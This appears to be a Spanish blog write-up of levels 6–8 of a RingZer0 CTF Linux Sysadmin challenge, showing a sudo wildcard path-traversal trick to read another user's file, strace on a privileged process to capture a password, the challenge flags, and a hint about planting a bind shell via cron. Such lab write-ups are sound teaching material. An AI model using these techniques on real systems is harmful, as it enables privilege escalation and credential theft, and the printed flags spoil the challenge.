\   /\          __    _____        _____     _____ _ _____
)  ( ')        |  |  |  _  |   ___|  _  |___|  |  |_|_   _|___
(  /  )        |  |__|     |  |  _|     |_ -|     | | | | | .'| 
 \(__)|        |_____|__|__|  |___|__|__|___|__|__|_| |_| |__,|

 
 Esta sera la segunda y ultima parte del CTF de ringzer0 team en la parte 
de Linux Sysadmin. 

LEVEL 6 
------- 

En el level 6 nos indican que debemos 
buscar el password de Neo. Debemos usar el usuario de trinity y la FLAG 
del level 1. 

 
Find Neo password 
User: trinity 
Password: FLAG for 
the Level 1 login as: trinity trinity@for01.ringzer0team.com's password:
         _ ____ __
   _____(_)___ ____ _____ ___ _____/ __ \/ /____ ____ _____ ___
  / ___/ / __ \/ __ `/_ / / _ \/ ___/ / / / __/ _ \/ __ `/ __ `__ \
 / / / / / / / /_/ / / /_/ __/ / / /_/ / /_/ __/ /_/ / / / / / / /_/ 
/_/_/ /_/\__, / /___/\___/_/ \____/\__/\___/\__,_/_/ /_/ /_/
             /____/
                                      _ _ ___ _____ ___
                             ___ _ _ | (_)_ _ ___ / __|_ _| __|
                            / _ \ ' \| | | ' \/ -_) | (__ | | | _|
                            \___/_||_|_|_|_||_\___| \___| |_| |_| You 
have mail. Last login: Thu Sep 17 09:11:04 2015 from 178.62.20.59 
-bash: 
/usr/bin/passwd: Permission denied trinity@forensics:~$
Lo primero que haremos en este caso es ver que permisos de "sudo" tiene trinity:
 trinity@forensics:~$ sudo -l [sudo] password for trinity: 
Matching Defaults entries for trinity on this host:
    env_reset, mail_badpass, 
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, 
insults User trinity may run the following commands on this host:
    (neo) /bin/cat /home/trinity/*
Despues de ver la carpeta personal, vemos que hay un fichero llamado phonebook en que el propietario es neo, asi que vamos a usar sudo para utilizar el usuario de neo para ver el contenido ya que trinity con los permisos que tiene puede hacerlo:
 trinity@forensics:~$ 
trinity@forensics:~$ sudo -u neo /bin/cat /home/trinity/phonebook The 
Oracle 1800-133-7133 Persephone 345-555-1244 copy made by Cypher copy 
utility on /home/neo/phonebook
En la ultima linea podemos ver que indican donde hay una copia de dicho fichero. Dado que los permisos que tienen trinity con sudo contienen "/home/trinity/*" vamos a jugar con ese asterisco:
 
trinity@forensics:~$ sudo -u neo cat /home/trinity/../neo/phonebook The 
Oracle 1800-133-7133 Persephone 345-555-1244 change my current password 
FLAG-lRGLKGh2895wIAoOvcBbgk4oL don't forget to remove this :)
Bien, pues ahi podemos ver la FLAG-lRGLKGh2895wIAoOvcBbgk4oL! Vamos a por el siguiente nivel. LEVEL 7 ------- En este nivel la pista que nos dan es que Neo no esta solo.
 
Neo is not alone! 
User: neo 
Password:  FLAG for the Level 2 

login as: neo neo@for01.ringzer0team.com's 
password:
         _ ____ __
   _____(_)___ ____ _____ ___ _____/ __ \/ /____ ____ _____ ___
  / ___/ / __ \/ __ `/_ / / _ \/ ___/ / / / __/ _ \/ __ `/ __ `__ \
 / / / / / / / /_/ / / /_/ __/ / / /_/ / /_/ __/ /_/ / / / / / / /_/ 
/_/_/ /_/\__, / /___/\___/_/ \____/\__/\___/\__,_/_/ /_/ /_/
             /____/
                                      _ _ ___ _____ ___
                             ___ _ _ | (_)_ _ ___ / __|_ _| __|
                            / _ \ ' \| | | ' \/ -_) | (__ | | | _|
                            \___/_||_|_|_|_||_\___| \___| |_| |_| You 
have mail. Last login: Sat Sep 19 07:58:54 2015 from 95.116.94.180 
neo@forensics:~$
La pista que nos dan dice que Neo no esta solo, con lo cual vamos a ver los procesos que estan corriendo.
 
neo@forensics:/$ ps aux | grep 
neo root 17098 0.0 0.1 81752 3840 ?  Ss 13:38 0:00 sshd: neo [priv] neo 
17108 0.0 0.0 81752 1936 ?  S 13:39 0:00 sshd: neo@pts/0 neo 17110 0.0 
0.2 21412 4316 pts/0 Ss 13:39 0:00 -bash neo 17291 0.0 0.0 16836 1260 
pts/0 R+ 13:45 0:00 ps aux neo 17292 0.0 0.0 7832 868 pts/0 S+ 13:45 
0:00 grep neo root 21203 0.0 0.0 49648 1464 ?  S Sep20 0:00 su neo -c 
/bin/monitor neo 21205 0.0 0.0 3936 308 ?  Ss Sep20 0:00 /bin/monitor
Podemos ver que el root esta corriendo el proceso /bin/monitor con el usuario de Neo! Vamos a usar strace para ver que esta pasando en este proceso.
 
neo@forensics:/$ strace -p21205 -s9999 -e write Process 
21205 attached - interrupt to quit write(4294967295, "telnet 127.0.0.1 
23\n", 20) = -1 EBADF (Bad file descriptor) write(4294967295, "user\n", 
5) = -1 EBADF (Bad file descriptor) write(4294967295, 
"FLAG-a4UVY5HJQO5ddLc5wtBps48A3\n", 31) = -1 EBADF (Bad file descriptor) 
write(4294967295, "get-cpuinfo\n", 12) = -1 EBADF (Bad file descriptor)
Sorpresa! Una vez nos "pegamos" al proceso para ver que pasa, vemos que aparece una linea que envia la FLAG de este nivel :) Asi que en este caso la FLAG es: FLAG-a4UVY5HJQO5ddLc5wtBps48A3 LEVEL 8 -------- El level 8 es el ultimo nivel... Este nivel voy a dejar que lo resolvais vosotros mismo... Como pista, en CRON vereis un fichero "python" sospechoso el cual podreis usar para meter una bind shell :) Cualquier duda podeis contactar conmigo en mi correo!